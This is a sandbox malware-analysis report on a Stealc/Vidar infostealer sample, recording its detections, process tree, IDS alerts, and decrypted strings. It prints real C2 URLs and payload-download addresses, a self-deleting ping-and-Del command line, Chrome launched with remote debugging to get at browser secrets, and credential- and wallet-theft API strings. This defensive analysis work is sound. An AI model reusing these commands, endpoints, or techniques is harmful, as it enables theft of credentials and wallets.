Edit tour

Windows Analysis Report
qlI3ReINCV.exe

Overview

General Information

Sample name:	qlI3ReINCV.exe renamed because original name is a hash value
Original sample name:	40163eae38af01040691454b24b06e2f.exe
Analysis ID:	1559091
MD5:	40163eae38af01040691454b24b06e2f
SHA1:	53eca8666143b17066b0c84d7087c570f6c18d57
SHA256:	65ae23376b2d1179fac3bb74e5d5258f0aa1d06ef0726544c9bddadc58d11b80
Tags:	exeStealcuser-abuse_ch
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Machine Learning detection for sample

PE file has a writeable .text section

Sample uses string decryption to hide its real strings

Searches for specific processes (likely to inject)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Uses ping.exe to check the status of other devices and networks

Uses ping.exe to sleep

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

qlI3ReINCV.exe (PID: 7400 cmdline: "C:\Users\user\Desktop\qlI3ReINCV.exe" MD5: 40163EAE38AF01040691454B24B06E2F)

chrome.exe (PID: 7496 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7768 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3028 --field-trial-handle=2236,i,11332820353393663667,15480934144007943570,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cmd.exe (PID: 7536 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7528 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DBFHCGCGDA.exe (PID: 8180 cmdline: "C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe" MD5: BA38615AB308EFBDB2A877277AB76CD0)

cmd.exe (PID: 8060 cmdline: "C:\Windows\System32\cmd.exe" /C ping 2.2.2.2 -n 1 -w 3000 > Nul & Del C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8132 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 7836 cmdline: ping 2.2.2.2 -n 1 -w 3000 MD5: B3624DD758CCECF93A1226CEF252CA12)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://62.204.41.163/16fa04073490929d.php", "Botnet": "default11"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
qlI3ReINCV.exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000000.1730010347.00000000006AB000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1968390990.000000000124E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: qlI3ReINCV.exe PID: 7400	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: qlI3ReINCV.exe PID: 7400	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: qlI3ReINCV.exe PID: 7400	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: qlI3ReINCV.exe PID: 7400	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.qlI3ReINCV.exe.680000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.0.qlI3ReINCV.exe.680000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\qlI3ReINCV.exe", ParentImage: C:\Users\user\Desktop\qlI3ReINCV.exe, ParentProcessId: 7400, ParentProcessName: qlI3ReINCV.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", ProcessId: 7496, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T07:48:06.436381+0100	2044245	1	Malware Command and Control Activity Detected	62.204.41.163	80	192.168.2.4	49730	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T07:48:06.296973+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49730	62.204.41.163	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T07:48:06.655757+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49730	62.204.41.163	80	TCP

ET MALWARE Win32/Stealc Submitting Screenshot to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T07:48:25.812249+0100	2044249	1	Malware Command and Control Activity Detected	192.168.2.4	49753	62.204.41.163	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T07:48:07.478497+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49730	62.204.41.163	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T07:48:06.717904+0100	2044247	1	Malware Command and Control Activity Detected	62.204.41.163	80	192.168.2.4	49730	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T07:48:06.071918+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49730	62.204.41.163	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T07:48:07.997134+0100	2803304	3	Unknown Traffic	192.168.2.4	49730	62.204.41.163	80	TCP
2024-11-20T07:48:19.439470+0100	2803304	3	Unknown Traffic	192.168.2.4	49753	62.204.41.163	80	TCP
2024-11-20T07:48:20.484588+0100	2803304	3	Unknown Traffic	192.168.2.4	49753	62.204.41.163	80	TCP
2024-11-20T07:48:21.183867+0100	2803304	3	Unknown Traffic	192.168.2.4	49753	62.204.41.163	80	TCP
2024-11-20T07:48:21.760056+0100	2803304	3	Unknown Traffic	192.168.2.4	49753	62.204.41.163	80	TCP
2024-11-20T07:48:23.466424+0100	2803304	3	Unknown Traffic	192.168.2.4	49753	62.204.41.163	80	TCP
2024-11-20T07:48:23.909784+0100	2803304	3	Unknown Traffic	192.168.2.4	49753	62.204.41.163	80	TCP
2024-11-20T07:48:27.338738+0100	2803304	3	Unknown Traffic	192.168.2.4	49761	176.113.115.215	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: qlI3ReINCV.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://62.204.41.163/16fa04073490929d.phpy=----CGIJKJJKEBGHJKFIDGCAult-release	Avira URL Cloud: Label: malware
Source: http://62.204.41.163/2c3d53f1da5ea53a/freebl3.dll	Avira URL Cloud: Label: malware
Source: http://62.204.41.163/2c3d53f1da5ea53a/vcruntime140.dll	Avira URL Cloud: Label: malware
Source: http://62.204.41.163/2c3d53f1da5ea53a/sqlite3.dll	Avira URL Cloud: Label: malware
Source: http://62.204.41.163/2c3d53f1da5ea53a/nss3.dll	Avira URL Cloud: Label: malware
Source: http://62.204.41.163/16fa04073490929d.php$	Avira URL Cloud: Label: malware
Source: http://62.204.41.163/2c3d53f1da5ea53a/nss3.dll2	Avira URL Cloud: Label: malware
Source: http://62.204.41.163/2c3d53f1da5ea53a/mozglue.dll	Avira URL Cloud: Label: malware
Source: http://62.204.41.163/2c3d53f1da5ea53a/nss3.dll7(	Avira URL Cloud: Label: malware
Source: http://62.204.41.163/2c3d53f1da5ea53a/msvcp140.dll	Avira URL Cloud: Label: malware
Source: http://62.204.41.163/j	Avira URL Cloud: Label: malware
Source: http://176.113.115.215/LedgerUpdater.exe	Avira URL Cloud: Label: malware
Source: http://62.204.41.163/2c3d53f1da5ea53a/softokn3.dll	Avira URL Cloud: Label: malware
Source: http://62.204.41.163/16fa04073490929d.php14	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Avira: detection malicious, Label: BDS/Backdoor.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\LedgerUpdater[1].exe	Avira: detection malicious, Label: BDS/Backdoor.Gen

Found malware configuration

Source: 0.0.qlI3ReINCV.exe.680000.0.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://62.204.41.163/16fa04073490929d.php", "Botnet": "default11"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\LedgerUpdater[1].exe	ReversingLabs: Detection: 91%
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	ReversingLabs: Detection: 91%

Multi AV Scanner detection for submitted file

Source: qlI3ReINCV.exe

ReversingLabs: Detection: 65%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: qlI3ReINCV.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: 26
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: 11
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: 20
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: 24
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: GetProcAddress
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: LoadLibraryA
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: lstrcatA
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: OpenEventA
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: CreateEventA
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: CloseHandle
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: Sleep
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: VirtualFree
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: GetSystemInfo
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: VirtualAlloc
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: HeapAlloc
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: GetComputerNameA
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: lstrcpyA
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: GetProcessHeap
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: GetCurrentProcess
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: lstrlenA
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: ExitProcess
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: GetSystemTime
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: advapi32.dll
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: gdi32.dll
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: user32.dll
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: crypt32.dll
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: GetUserNameA
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: CreateDCA
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: GetDeviceCaps
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: ReleaseDC
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: sscanf
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: VMwareVMware
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: HAL9TH
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: JohnDoe
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: DISPLAY
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: http://62.204.41.163
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: /16fa04073490929d.php
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: /2c3d53f1da5ea53a/
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: default11
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: GetFileAttributesA
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: HeapFree
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: GetFileSize
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: GlobalSize
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: IsWow64Process
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: Process32Next
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: GetLocalTime
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: FreeLibrary
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: GetVolumeInformationA
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: Process32First
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: GetLocaleInfoA
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: GetModuleFileNameA
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: DeleteFileA
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: FindNextFileA
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: LocalFree
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: FindClose
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: LocalAlloc
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: GetFileSizeEx
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: ReadFile
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: SetFilePointer
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: WriteFile
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: CreateFileA
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: FindFirstFileA
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: CopyFileA
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: VirtualProtect
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: GetLastError
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: lstrcpynA
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: MultiByteToWideChar
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: GlobalFree
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: WideCharToMultiByte
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: GlobalAlloc
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: OpenProcess
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: TerminateProcess
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: GetCurrentProcessId
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: gdiplus.dll
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: ole32.dll
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: bcrypt.dll
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: wininet.dll
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: shlwapi.dll
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: shell32.dll
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: rstrtmgr.dll
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: SelectObject
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: BitBlt
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: DeleteObject
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: CreateCompatibleDC
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: GdiplusStartup
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: GdiplusShutdown
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: GdipDisposeImage
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: GdipFree
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: CoUninitialize
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: CoInitialize
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: CoCreateInstance
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: BCryptDecrypt
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: BCryptSetProperty
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: BCryptDestroyKey
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: GetWindowRect
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: GetDesktopWindow
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: GetDC
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: CloseWindow
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: wsprintfA
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: CharToOemW
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: wsprintfW
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: RegQueryValueExA
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: RegEnumKeyExA
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: RegOpenKeyExA
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: RegCloseKey
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: RegEnumValueA
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: CryptBinaryToStringA
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: CryptUnprotectData
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: SHGetFolderPathA
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: ShellExecuteExA
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: InternetOpenUrlA
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: InternetConnectA
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: InternetCloseHandle
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: HttpSendRequestA
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: HttpOpenRequestA
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: InternetReadFile
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: InternetCrackUrlA
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: StrCmpCA
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: StrStrA
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: StrCmpCW
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: PathMatchSpecA
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: RmStartSession
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: RmRegisterResources
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: RmGetList
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: RmEndSession
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: sqlite3_open
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: sqlite3_step
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: sqlite3_column_text
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: sqlite3_finalize
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: sqlite3_close
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: sqlite3_column_blob
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: encrypted_key
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: PATH
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: NSS_Init
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: NSS_Shutdown
